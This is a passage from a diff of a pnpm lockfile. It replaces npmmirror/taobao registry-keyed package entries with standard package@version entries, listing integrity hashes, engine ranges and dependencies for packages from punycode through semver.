sha512-XRsRjdf+j5ml+y/6GKHPZbrF/8p2Yga0JPtdqTIY2Xe5ohJPD9saDJJLPvp9+NSBprVvevdXZybnj2cv8OEd0A==} engines: {node: '>=6'} dev: true - registry.npmmirror.com/punycode/2.1.1: - resolution: {integrity: sha512-XRsRjdf+j5ml+y/6GKHPZbrF/8p2Yga0JPtdqTIY2Xe5ohJPD9saDJJLPvp9+NSBprVvevdXZybnj2cv8OEd0A==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/punycode/-/punycode-2.1.1.tgz} - name: punycode - version: 2.1.1 - engines: {node: '>=6'} + /q@1.5.1: + resolution: {integrity: sha512-kV/CThkXo6xyFEZUugw/+pIOywXcDbFYgSct5cT3gqlbkBE1SJdwy6UQoZvodiWF/ckQLZyDE/Bu1M6gVu5lVw==} + engines: {node: '>=0.6.0', teleport: '>=0.2.0'} + dev: true + + /qrcode@1.5.3: + resolution: {integrity: sha512-puyri6ApkEHYiVl4CFzo1tDkAZ+ATcnbJrJ6RiBM1Fhctdn/ix9MTE3hRph33omisEbC/2fcfemsseiKgBPKZg==} + engines: {node: '>=10.13.0'} + hasBin: true + dependencies: + dijkstrajs: 1.0.3 + encode-utf8: 1.0.3 + pngjs: 5.0.0 + yargs: 15.4.1 + dev: true + + /queue-microtask@1.2.3: + resolution: {integrity: sha512-NuaNSa6flKT5JaSYQzJok04JzTL1CA6aGhv5rfLW3PgqA+M2ChpZQnAC8h8i4ZFkBS8X5RqkDBHA7r4hej3K9A==} + dev: true + + /quick-lru@4.0.1: + resolution: {integrity: sha512-ARhCpm70fzdcvNQfPoy49IaanKkTlRWF2JMzqhcJbhSFRZv7nPTvZJdcY7301IPmvW+/p0RgIWnQDLJxifsQ7g==} + engines: {node: '>=8'} + dev: true + + /randombytes@2.1.0: + resolution: {integrity: sha512-vYl3iOX+4CKUWuxGi9Ukhie6fsqXqS9FE2Zaic4tNFD2N2QQaXOMFbuKK4QmDHC0JO6B1Zp41J0LpT0oR68amQ==} + dependencies: + safe-buffer: 5.2.1 + dev: true + + /rangetouch@2.0.1: + resolution: {integrity: sha512-sln+pNSc8NGaHoLzwNBssFSf/rSYkqeBXzX1AtJlkJiUaVSJSbRAWJk+4omsXkN+EJalzkZhWQ3th1m0FpR5xA==} dev: true - registry.npmmirror.com/queue-microtask/1.2.3: - resolution: {integrity: sha512-NuaNSa6flKT5JaSYQzJok04JzTL1CA6aGhv5rfLW3PgqA+M2ChpZQnAC8h8i4ZFkBS8X5RqkDBHA7r4hej3K9A==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/queue-microtask/-/queue-microtask-1.2.3.tgz} - name: queue-microtask - version: 1.2.3 + /raphael@2.3.0: + resolution: {integrity: sha512-w2yIenZAQnp257XUWGni4bLMVxpUpcIl7qgxEgDIXtmSypYtlNxfXWpOBxs7LBTps5sDwhRnrToJrMUrivqNTQ==} + dependencies: + eve-raphael: 0.5.0 dev: true - registry.npmmirror.com/randombytes/2.1.0: - resolution: {integrity: sha512-vYl3iOX+4CKUWuxGi9Ukhie6fsqXqS9FE2Zaic4tNFD2N2QQaXOMFbuKK4QmDHC0JO6B1Zp41J0LpT0oR68amQ==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/randombytes/-/randombytes-2.1.0.tgz} - name: randombytes - version: 2.1.0 + /read-pkg-up@7.0.1: + resolution: {integrity: sha512-zK0TB7Xd6JpCLmlLmufqykGE+/TlOePD6qKClNW7hHDKFh/J7/7gCWGR7joEQEW1bKq3a3yUZSObOoWLFQ4ohg==} + engines: {node: '>=8'} dependencies: - safe-buffer: registry.npmmirror.com/safe-buffer/5.2.1 + find-up: 4.1.0 + read-pkg: 5.2.0 + type-fest: 0.8.1 dev: true - registry.npmmirror.com/raphael/2.3.0: - resolution: {integrity: sha512-w2yIenZAQnp257XUWGni4bLMVxpUpcIl7qgxEgDIXtmSypYtlNxfXWpOBxs7LBTps5sDwhRnrToJrMUrivqNTQ==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/raphael/-/raphael-2.3.0.tgz} - name: raphael - version: 2.3.0 + /read-pkg@5.2.0: + resolution: {integrity: sha512-Ug69mNOpfvKDAc2Q8DRpMjjzdtrnv9HcSMX+4VsZxD1aZ6ZzrIE7rlzXBtWTyhULSMKg076AW6WR5iZpD0JiOg==} + engines: {node: '>=8'} dependencies: - eve-raphael: registry.npmmirror.com/eve-raphael/0.5.0 + '@types/normalize-package-data': 2.4.1 + normalize-package-data: 2.5.0 + parse-json: 5.2.0 + type-fest: 0.6.0 dev: true - registry.npmmirror.com/readable-stream/3.6.0: - resolution: {integrity: sha512-BViHy7LKeTz4oNnkcLJ+lVSL6vpiFeX6/d3oSH8zCW7UxP2onchk+vTGB143xuFjHS3deTgkKoXXymXqymiIdA==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/readable-stream/-/readable-stream-3.6.0.tgz} - name: readable-stream - version: 3.6.0 + /readable-stream@3.6.0: + resolution: {integrity: sha512-BViHy7LKeTz4oNnkcLJ+lVSL6vpiFeX6/d3oSH8zCW7UxP2onchk+vTGB143xuFjHS3deTgkKoXXymXqymiIdA==} engines: {node: '>= 6'} dependencies: - inherits: registry.npmmirror.com/inherits/2.0.4 - string_decoder: registry.npmmirror.com/string_decoder/1.3.0 - util-deprecate: registry.npmmirror.com/util-deprecate/1.0.2 + inherits: 2.0.4 + string_decoder: 1.3.0 + util-deprecate: 1.0.2 dev: true - registry.npmmirror.com/readdirp/3.6.0: - resolution: {integrity: sha512-hOS089on8RduqdbhvQ5Z37A0ESjsqz6qnRcffsMU3495FuTdqSm+7bhJ29JvIOsBDEEnan5DPu9t3To9VRlMzA==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/readdirp/-/readdirp-3.6.0.tgz} - name: readdirp - version: 3.6.0 + /readdirp@3.6.0: + resolution: {integrity: sha512-hOS089on8RduqdbhvQ5Z37A0ESjsqz6qnRcffsMU3495FuTdqSm+7bhJ29JvIOsBDEEnan5DPu9t3To9VRlMzA==} engines: {node: '>=8.10.0'} dependencies: - picomatch: registry.npmmirror.com/picomatch/2.3.1 + picomatch: 2.3.1 + dev: true + + /redent@3.0.0: + resolution: {integrity: sha512-6tDA8g98We0zd0GvVeMT9arEOnTw9qM03L9cJXaCjrip1OO764RDBLBfrB4cwzNGDj5OA5ioymC9GkizgWJDUg==} + engines: {node: '>=8'} + dependencies: + indent-string: 4.0.0 + strip-indent: 3.0.0 dev: true - registry.npmmirror.com/regenerate-unicode-properties/10.0.1: - resolution: {integrity: sha512-vn5DU6yg6h8hP/2OkQo3K7uVILvY4iu0oI4t3HFa81UPkhGJwkRwM10JEc3upjdhHjs/k8GJY1sRBhk5sr69Bw==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/regenerate-unicode-properties/-/regenerate-unicode-properties-10.0.1.tgz} - name: regenerate-unicode-properties - version: 10.0.1 + /regenerate-unicode-properties@10.0.1: + resolution: {integrity: sha512-vn5DU6yg6h8hP/2OkQo3K7uVILvY4iu0oI4t3HFa81UPkhGJwkRwM10JEc3upjdhHjs/k8GJY1sRBhk5sr69Bw==} engines: {node: '>=4'} dependencies: - regenerate: registry.npmmirror.com/regenerate/1.4.2 + regenerate: 1.4.2 dev: true - registry.npmmirror.com/regenerate/1.4.2: - resolution: {integrity: sha512-zrceR/XhGYU/d/opr2EKO7aRHUeiBI8qjtfHqADTwZd6Szfy16la6kqD0MIUs5z5hx6AaKa+PixpPrR289+I0A==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/regenerate/-/regenerate-1.4.2.tgz} - name: regenerate - version: 1.4.2 + /regenerate@1.4.2: + resolution: {integrity: sha512-zrceR/XhGYU/d/opr2EKO7aRHUeiBI8qjtfHqADTwZd6Szfy16la6kqD0MIUs5z5hx6AaKa+PixpPrR289+I0A==} dev: true - registry.npmmirror.com/regenerator-runtime/0.13.9: - resolution: {integrity: sha512-p3VT+cOEgxFsRRA9X4lkI1E+k2/CtnKtU4gcxyaCUreilL/vqI6CdZ3wxVUx3UOUg+gnUOQQcRI7BmSI656MYA==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/regenerator-runtime/-/regenerator-runtime-0.13.9.tgz} - name: regenerator-runtime - version: 0.13.9 + /regenerator-runtime@0.13.9: + resolution: {integrity: sha512-p3VT+cOEgxFsRRA9X4lkI1E+k2/CtnKtU4gcxyaCUreilL/vqI6CdZ3wxVUx3UOUg+gnUOQQcRI7BmSI656MYA==} dev: true - registry.npmmirror.com/regenerator-transform/0.15.0: - resolution: {integrity: sha512-LsrGtPmbYg19bcPHwdtmXwbW+TqNvtY4riE3P83foeHRroMbH6/2ddFBfab3t7kbzc7v7p4wbkIecHImqt0QNg==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/regenerator-transform/-/regenerator-transform-0.15.0.tgz} - name: regenerator-transform - version: 0.15.0 + /regenerator-transform@0.15.0: + resolution: {integrity: sha512-LsrGtPmbYg19bcPHwdtmXwbW+TqNvtY4riE3P83foeHRroMbH6/2ddFBfab3t7kbzc7v7p4wbkIecHImqt0QNg==} dependencies: - '@babel/runtime': registry.npmmirror.com/@babel/runtime/7.17.9 + '@babel/runtime': 7.17.9 dev: true - registry.npmmirror.com/regexp.prototype.flags/1.4.3: - resolution: {integrity: sha512-fjggEOO3slI6Wvgjwflkc4NFRCTZAu5CnNfBd5qOMYhWdn67nJBBu34/TkD++eeFmd8C9r9jfXJ27+nSiRkSUA==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/regexp.prototype.flags/-/regexp.prototype.flags-1.4.3.tgz} - name: regexp.prototype.flags - version: 1.4.3 + /regexp.prototype.flags@1.4.3: + resolution: {integrity: sha512-fjggEOO3slI6Wvgjwflkc4NFRCTZAu5CnNfBd5qOMYhWdn67nJBBu34/TkD++eeFmd8C9r9jfXJ27+nSiRkSUA==} engines: {node: '>= 0.4'} dependencies: - call-bind: registry.npmmirror.com/call-bind/1.0.2 - define-properties: registry.npmmirror.com/define-properties/1.1.4 - functions-have-names: registry.npmmirror.com/functions-have-names/1.2.3 + call-bind: 1.0.2 + define-properties: 1.1.4 + functions-have-names: 1.2.3 dev: true - registry.npmmirror.com/regexpu-core/5.0.1: - resolution: {integrity: sha512-CriEZlrKK9VJw/xQGJpQM5rY88BtuL8DM+AEwvcThHilbxiTAy8vq4iJnd2tqq8wLmjbGZzP7ZcKFjbGkmEFrw==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/regexpu-core/-/regexpu-core-5.0.1.tgz} - name: regexpu-core - version: 5.0.1 + /regexpu-core@5.0.1: + resolution: {integrity: sha512-CriEZlrKK9VJw/xQGJpQM5rY88BtuL8DM+AEwvcThHilbxiTAy8vq4iJnd2tqq8wLmjbGZzP7ZcKFjbGkmEFrw==} engines: {node: '>=4'} dependencies: - regenerate: registry.npmmirror.com/regenerate/1.4.2 - regenerate-unicode-properties: registry.npmmirror.com/regenerate-unicode-properties/10.0.1 - regjsgen: registry.npmmirror.com/regjsgen/0.6.0 - regjsparser: registry.npmmirror.com/regjsparser/0.8.4 - unicode-match-property-ecmascript: registry.npmmirror.com/unicode-match-property-ecmascript/2.0.0 - unicode-match-property-value-ecmascript: registry.npmmirror.com/unicode-match-property-value-ecmascript/2.0.0 + regenerate: 1.4.2 + regenerate-unicode-properties: 10.0.1 + regjsgen: 0.6.0 + regjsparser: 0.8.4 + unicode-match-property-ecmascript: 2.0.0 + unicode-match-property-value-ecmascript: 2.0.0 dev: true - registry.npmmirror.com/register-service-worker/1.7.2: - resolution: {integrity: sha512-CiD3ZSanZqcMPRhtfct5K9f7i3OLCcBBWsJjLh1gW9RO/nS94sVzY59iS+fgYBOBqaBpf4EzfqUF3j9IG+xo8A==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/register-service-worker/-/register-service-worker-1.7.2.tgz} - name: register-service-worker - version: 1.7.2 + /register-service-worker@1.7.2: + resolution: {integrity: sha512-CiD3ZSanZqcMPRhtfct5K9f7i3OLCcBBWsJjLh1gW9RO/nS94sVzY59iS+fgYBOBqaBpf4EzfqUF3j9IG+xo8A==} dev: true - registry.npmmirror.com/regjsgen/0.6.0: - resolution: {integrity: sha512-ozE883Uigtqj3bx7OhL1KNbCzGyW2NQZPl6Hs09WTvCuZD5sTI4JY58bkbQWa/Y9hxIsvJ3M8Nbf7j54IqeZbA==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/regjsgen/-/regjsgen-0.6.0.tgz} - name: regjsgen - version: 0.6.0 + /regjsgen@0.6.0: + resolution: {integrity: sha512-ozE883Uigtqj3bx7OhL1KNbCzGyW2NQZPl6Hs09WTvCuZD5sTI4JY58bkbQWa/Y9hxIsvJ3M8Nbf7j54IqeZbA==} dev: true - registry.npmmirror.com/regjsparser/0.8.4: - resolution: {integrity: sha512-J3LABycON/VNEu3abOviqGHuB/LOtOQj8SKmfP9anY5GfAVw/SPjwzSjxGjbZXIxbGfqTHtJw58C2Li/WkStmA==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/regjsparser/-/regjsparser-0.8.4.tgz} - name: regjsparser - version: 0.8.4 + /regjsparser@0.8.4: + resolution: {integrity: sha512-J3LABycON/VNEu3abOviqGHuB/LOtOQj8SKmfP9anY5GfAVw/SPjwzSjxGjbZXIxbGfqTHtJw58C2Li/WkStmA==} hasBin: true dependencies: - jsesc: registry.npmmirror.com/jsesc/0.5.0 + jsesc: 0.5.0 + dev: true + + /require-directory@2.1.1: + resolution: {integrity: sha512-fGxEI7+wsG9xrvdjsrlmL22OMTTiHRwAMroiEeMgq8gzoLC/PQr7RsRDSTLUg/bZAZtF+TVIkHc6/4RIKrui+Q==} + engines: {node: '>=0.10.0'} + dev: true + + /require-from-string@2.0.2: + resolution: {integrity: sha512-Xf0nWe6RseziFMu+Ap9biiUbmplq6S9/p+7w7YXP/JBHhrUDDUhwa+vANyubuqfZWTveU//DYVGsDG7RKL/vEw==} + engines: {node: '>=0.10.0'} + dev: true + + /require-main-filename@2.0.0: + resolution: {integrity: sha512-NKN5kMDylKuldxYLSUfrbo5Tuzh4hd+2E8NPPX02mZtn1VuREQToYe/ZdlJy+J3uCpfaiGF05e7B8W0iXbQHmg==} dev: true - registry.npmmirror.com/require-from-string/2.0.2: - resolution: {integrity: sha512-Xf0nWe6RseziFMu+Ap9biiUbmplq6S9/p+7w7YXP/JBHhrUDDUhwa+vANyubuqfZWTveU//DYVGsDG7RKL/vEw==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/require-from-string/-/require-from-string-2.0.2.tgz} - name: require-from-string - version: 2.0.2 + /resolve-dir@1.0.1: + resolution: {integrity: sha512-R7uiTjECzvOsWSfdM0QKFNBVFcK27aHOUwdvK53BcW8zqnGdYp0Fbj82cy54+2A4P2tFM22J5kRfe1R+lM/1yg==} engines: {node: '>=0.10.0'} + dependencies: + expand-tilde: 2.0.2 + global-modules: 1.0.0 + dev: true + + /resolve-from@4.0.0: + resolution: {integrity: sha512-pb/MYmXstAkysRFx8piNI1tGFNQIFA3vkE3Gq4EuA1dF6gHp/+vgZqsCGJapvy8N3Q+4o7FwvquPJcnZ7RYy4g==} + engines: {node: '>=4'} + dev: true + + /resolve-from@5.0.0: + resolution: {integrity: sha512-qYg9KP24dD5qka9J47d0aVky0N+b4fTU89LN9iDnjB5waksiC49rvMB0PrUJQGoTmH50XPiqOvAjDfaijGxYZw==} + engines: {node: '>=8'} + dev: true + + /resolve-global@1.0.0: + resolution: {integrity: sha512-zFa12V4OLtT5XUX/Q4VLvTfBf+Ok0SPc1FNGM/z9ctUdiU618qwKpWnd0CHs3+RqROfyEg/DhuHbMWYqcgljEw==} + engines: {node: '>=8'} + dependencies: + global-dirs: 0.1.1 dev: true - registry.npmmirror.com/resolve/1.22.1: - resolution: {integrity: sha512-nBpuuYuY5jFsli/JIs1oldw6fOQCBioohqWZg/2hiaOybXOft4lonv85uDOKXdf8rhyK159cxU5cDcK/NKk8zw==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/resolve/-/resolve-1.22.1.tgz} - name: resolve - version: 1.22.1 + /resolve@1.22.1: + resolution: {integrity: sha512-nBpuuYuY5jFsli/JIs1oldw6fOQCBioohqWZg/2hiaOybXOft4lonv85uDOKXdf8rhyK159cxU5cDcK/NKk8zw==} hasBin: true dependencies: - is-core-module: registry.npmmirror.com/is-core-module/2.9.0 - path-parse: registry.npmmirror.com/path-parse/1.0.7 - supports-preserve-symlinks-flag: registry.npmmirror.com/supports-preserve-symlinks-flag/1.0.0 + is-core-module: 2.9.0 + path-parse: 1.0.7 + supports-preserve-symlinks-flag: 1.0.0 + dev: true + + /restore-cursor@2.0.0: + resolution: {integrity: sha512-6IzJLuGi4+R14vwagDHX+JrXmPVtPpn4mffDJ1UdR7/Edm87fl6yi8mMBIVvFtJaNTUvjughmW4hwLhRG7gC1Q==} + engines: {node: '>=4'} + dependencies: + onetime: 2.0.1 + signal-exit: 3.0.7 dev: true - registry.npmmirror.com/restore-cursor/4.0.0: - resolution: {integrity: sha512-I9fPXU9geO9bHOt9pHHOhOkYerIMsmVaWB0rA2AI9ERh/+x/i7MV5HKBNrg+ljO5eoPVgCcnFuRjJ9uH6I/3eg==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/restore-cursor/-/restore-cursor-4.0.0.tgz} - name: restore-cursor - version: 4.0.0 + /restore-cursor@4.0.0: + resolution: {integrity: sha512-I9fPXU9geO9bHOt9pHHOhOkYerIMsmVaWB0rA2AI9ERh/+x/i7MV5HKBNrg+ljO5eoPVgCcnFuRjJ9uH6I/3eg==} engines: {node: ^12.20.0 || ^14.13.1 || >=16.0.0} dependencies: - onetime: registry.npmmirror.com/onetime/5.1.2 - signal-exit: registry.npmmirror.com/signal-exit/3.0.7 + onetime: 5.1.2 + signal-exit: 3.0.7 dev: true - registry.npmmirror.com/reusify/1.0.4: - resolution: {integrity: sha512-U9nH88a3fc/ekCF1l0/UP1IosiuIjyTh7hBvXVMHYgVcfGvt897Xguj2UOLDeI5BG2m7/uwyaLVT6fbtCwTyzw==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/reusify/-/reusify-1.0.4.tgz} - name: reusify - version: 1.0.4 + /reusify@1.0.4: + resolution: {integrity: sha512-U9nH88a3fc/ekCF1l0/UP1IosiuIjyTh7hBvXVMHYgVcfGvt897Xguj2UOLDeI5BG2m7/uwyaLVT6fbtCwTyzw==} engines: {iojs: '>=1.0.0', node: '>=0.10.0'} dev: true - registry.npmmirror.com/reveal.js/4.4.0: - resolution: {integrity: sha512-jIV6C9V2NEUjGzU8L6dUFGpk1KJmq7/EzP2fOW67ggc2c0Cp/PdprWxZ9Qgp46F0T2ZWDCjQ1p3Ytzy5jA6a2w==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/reveal.js/-/reveal.js-4.4.0.tgz} - name: reveal.js - version: 4.4.0 + /reveal.js@4.5.0: + resolution: {integrity: sha512-Lx1hUWhJR7Y7ScQNyGt7TFzxeviDAswK2B0cn9RwbPZogTMRgS8+FTr+/12KNHOegjvWKH0H0EGwBARNDPTgWQ==} engines: {node: '>=10.0.0'} dev: true - registry.npmmirror.com/robust-predicates/3.0.1: - resolution: {integrity: sha512-ndEIpszUHiG4HtDsQLeIuMvRsDnn8c8rYStabochtUeCvfuvNptb5TUbVD68LRAILPX7p9nqQGh4xJgn3EHS/g==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/robust-predicates/-/robust-predicates-3.0.1.tgz} - name: robust-predicates - version: 3.0.1 + /robust-predicates@3.0.1: + resolution: {integrity: sha512-ndEIpszUHiG4HtDsQLeIuMvRsDnn8c8rYStabochtUeCvfuvNptb5TUbVD68LRAILPX7p9nqQGh4xJgn3EHS/g==} dev: true - registry.npmmirror.com/rollup-plugin-terser/7.0.2_rollup@2.79.1: - resolution: {integrity: sha512-w3iIaU4OxcF52UUXiZNsNeuXIMDvFrr+ZXK6bFZ0Q60qyVfq4uLptoS4bbq3paG3x216eQllFZX7zt6TIImguQ==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/rollup-plugin-terser/-/rollup-plugin-terser-7.0.2.tgz} - id: registry.npmmirror.com/rollup-plugin-terser/7.0.2 - name: rollup-plugin-terser - version: 7.0.2 + /rollup-plugin-terser@7.0.2(rollup@2.79.1): + resolution: {integrity: sha512-w3iIaU4OxcF52UUXiZNsNeuXIMDvFrr+ZXK6bFZ0Q60qyVfq4uLptoS4bbq3paG3x216eQllFZX7zt6TIImguQ==} + deprecated: This package has been deprecated and is no longer maintained. Please use @rollup/plugin-terser peerDependencies: rollup: ^2.0.0 dependencies: - '@babel/code-frame': registry.npmmirror.com/@babel/code-frame/7.16.7 - jest-worker: registry.npmmirror.com/jest-worker/26.6.2 - rollup: registry.npmmirror.com/rollup/2.79.1 - serialize-javascript: registry.npmmirror.com/serialize-javascript/4.0.0 - terser: registry.npmmirror.com/terser/5.15.1 + '@babel/code-frame': 7.22.5 + jest-worker: 26.6.2 + rollup: 2.79.1 + serialize-javascript: 4.0.0 + terser: 5.15.1 dev: true - registry.npmmirror.com/rollup/2.78.1: - resolution: {integrity: sha512-VeeCgtGi4P+o9hIg+xz4qQpRl6R401LWEXBmxYKOV4zlF82lyhgh2hTZnheFUbANE8l2A41F458iwj2vEYaXJg==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/rollup/-/rollup-2.78.1.tgz} - name: rollup - version: 2.78.1 + /rollup@2.79.1: + resolution: {integrity: sha512-uKxbd0IhMZOhjAiD5oAFp7BqvkA4Dv47qpOCtaNvng4HBwdbWtdOh8f5nZNuk2rp51PMGk3bzfWu5oayNEuYnw==} engines: {node: '>=10.0.0'} hasBin: true optionalDependencies: - fsevents: registry.npmmirror.com/fsevents/2.3.2 + fsevents: 2.3.2 dev: true - registry.npmmirror.com/rollup/2.79.1: - resolution: {integrity: sha512-uKxbd0IhMZOhjAiD5oAFp7BqvkA4Dv47qpOCtaNvng4HBwdbWtdOh8f5nZNuk2rp51PMGk3bzfWu5oayNEuYnw==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/rollup/-/rollup-2.79.1.tgz} - name: rollup - version: 2.79.1 - engines: {node: '>=10.0.0'} + /rollup@3.26.2: + resolution: {integrity: sha512-6umBIGVz93er97pMgQO08LuH3m6PUb3jlDUUGFsNJB6VgTCUaDFpupf5JfU30529m/UKOgmiX+uY6Sx8cOYpLA==} + engines: {node: '>=14.18.0', npm: '>=8.0.0'} hasBin: true optionalDependencies: - fsevents: registry.npmmirror.com/fsevents/2.3.2 + fsevents: 2.3.2 + dev: true + + /run-async@2.4.1: + resolution: {integrity: sha512-tvVnVv01b8c1RrA6Ep7JkStj85Guv/YrMcwqYQnwjsAS2cTmmPGBBjAjpCW7RrSodNSoE2/qg9O4bceNvUuDgQ==} + engines: {node: '>=0.12.0'} + dev: true + + /run-parallel@1.2.0: + resolution: {integrity: sha512-5l4VyZR86LZ/lDxZTR6jqL8AFE2S0IFLMP26AbjsLVADxHdhB/c0GUsH+y39UfCi3dzz8OlQuPmnaJOMoDHQBA==} + dependencies: + queue-microtask: 1.2.3 + dev: true + + /rw@1.3.3: + resolution: {integrity: sha512-PdhdWy89SiZogBLaw42zdeqtRJ//zFd2PgQavcICDUgJT5oW10QCRKbJ6bg4r0/UY2M6BWd5tkxuGFRvCkgfHQ==} dev: true - registry.npmmirror.com/run-parallel/1.2.0: - resolution: {integrity: sha512-5l4VyZR86LZ/lDxZTR6jqL8AFE2S0IFLMP26AbjsLVADxHdhB/c0GUsH+y39UfCi3dzz8OlQuPmnaJOMoDHQBA==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/run-parallel/-/run-parallel-1.2.0.tgz} - name: run-parallel - version: 1.2.0 + /rxjs@6.6.7: + resolution: {integrity: sha512-hTdwr+7yYNIT5n4AMYp85KA6yw2Va0FLa3Rguvbpa4W3I5xynaBZo41cM3XM+4Q6fRMj3sBYIR1VAmZMXYJvRQ==} + engines: {npm: '>=2.0.0'} dependencies: - queue-microtask: registry.npmmirror.com/queue-microtask/1.2.3 + tslib: 1.14.1 dev: true - registry.npmmirror.com/rw/1.3.3: - resolution: {integrity: sha512-PdhdWy89SiZogBLaw42zdeqtRJ//zFd2PgQavcICDUgJT5oW10QCRKbJ6bg4r0/UY2M6BWd5tkxuGFRvCkgfHQ==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/rw/-/rw-1.3.3.tgz} - name: rw - version: 1.3.3 + /sade@1.8.1: + resolution: {integrity: sha512-xal3CZX1Xlo/k4ApwCFrHVACi9fBqJ7V+mwhBsuf/1IOKbBy098Fex+Wa/5QMubw09pSZ/u8EY8PWgevJsXp1A==} + engines: {node: '>=6'} + dependencies: + mri: 1.2.0 dev: true - registry.npmmirror.com/safe-buffer/5.1.2: - resolution: {integrity: sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/safe-buffer/-/safe-buffer-5.1.2.tgz} - name: safe-buffer - version: 5.1.2 + /safe-buffer@5.1.2: + resolution: {integrity: sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==} dev: true - registry.npmmirror.com/safe-buffer/5.2.1: - resolution: {integrity: sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/safe-buffer/-/safe-buffer-5.2.1.tgz} - name: safe-buffer - version: 5.2.1 + /safe-buffer@5.2.1: + resolution: {integrity: sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==} dev: true - registry.npmmirror.com/safer-buffer/2.1.2: - resolution: {integrity: sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/safer-buffer/-/safer-buffer-2.1.2.tgz} - name: safer-buffer - version: 2.1.2 + /safer-buffer@2.1.2: + resolution: {integrity: sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==} dev: true - registry.npmmirror.com/sass/1.56.1: - resolution: {integrity: sha512-VpEyKpyBPCxE7qGDtOcdJ6fFbcpOM+Emu7uZLxVrkX8KVU/Dp5UF7WLvzqRuUhB6mqqQt1xffLoG+AndxTZrCQ==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/sass/-/sass-1.56.1.tgz} - name: sass - version: 1.56.1 - engines: {node: '>=12.0.0'} + /sass@1.63.6: + resolution: {integrity: sha512-MJuxGMHzaOW7ipp+1KdELtqKbfAWbH7OLIdoSMnVe3EXPMTmxTmlaZDCTsgIpPCs3w99lLo9/zDKkOrJuT5byw==} + engines: {node: '>=14.0.0'} hasBin: true dependencies: - chokidar: registry.npmmirror.com/chokidar/3.5.3 - immutable: registry.npmmirror.com/immutable/4.0.0 - source-map-js: registry.npmmirror.com/source-map-js/1.0.2 + chokidar: 3.5.3 + immutable: 4.0.0 + source-map-js: 1.0.2 + dev: true + + /sax@1.2.1: + resolution: {integrity: sha512-8I2a3LovHTOpm7NV5yOyO8IHqgVsfK4+UuySrXU8YXkSRX7k6hCV9b3HrkKCr3nMpgj+0bmocaJJWpvp1oc7ZA==} dev: true - registry.npmmirror.com/sax/1.2.4: - resolution: {integrity: sha512-NqVDv9TpANUjFm0N8uM5GxL36UgKi9/atZw+x7YFnQ8ckwFGKrl4xX4yWtrey3UJm5nP1kUbnYgLopqWNSRhWw==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/sax/-/sax-1.2.4.tgz} - name: sax - version: 1.2.4 + /sax@1.2.4: + resolution: {integrity: sha512-NqVDv9TpANUjFm0N8uM5GxL36UgKi9/atZw+x7YFnQ8ckwFGKrl4xX4yWtrey3UJm5nP1kUbnYgLopqWNSRhWw==} dev: true - registry.npmmirror.com/section-matter/1.0.0: - resolution: {integrity: sha512-vfD3pmTzGpufjScBh50YHKzEu2lxBWhVEHsNGoEXmCmn2hKGfeNLYMzCJpe8cD7gqX7TJluOVpBkAequ6dgMmA==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/section-matter/-/section-matter-1.0.0.tgz} - name: section-matter - version: 1.0.0 + /section-matter@1.0.0: + resolution: {integrity: sha512-vfD3pmTzGpufjScBh50YHKzEu2lxBWhVEHsNGoEXmCmn2hKGfeNLYMzCJpe8cD7gqX7TJluOVpBkAequ6dgMmA==} engines: {node: '>=4'} dependencies: - extend-shallow: registry.npmmirror.com/extend-shallow/2.0.1 - kind-of: registry.npmmirror.com/kind-of/6.0.3 + extend-shallow: 2.0.1 + kind-of: 6.0.3 + dev: true + + /semver@5.7.1: + resolution: {integrity: 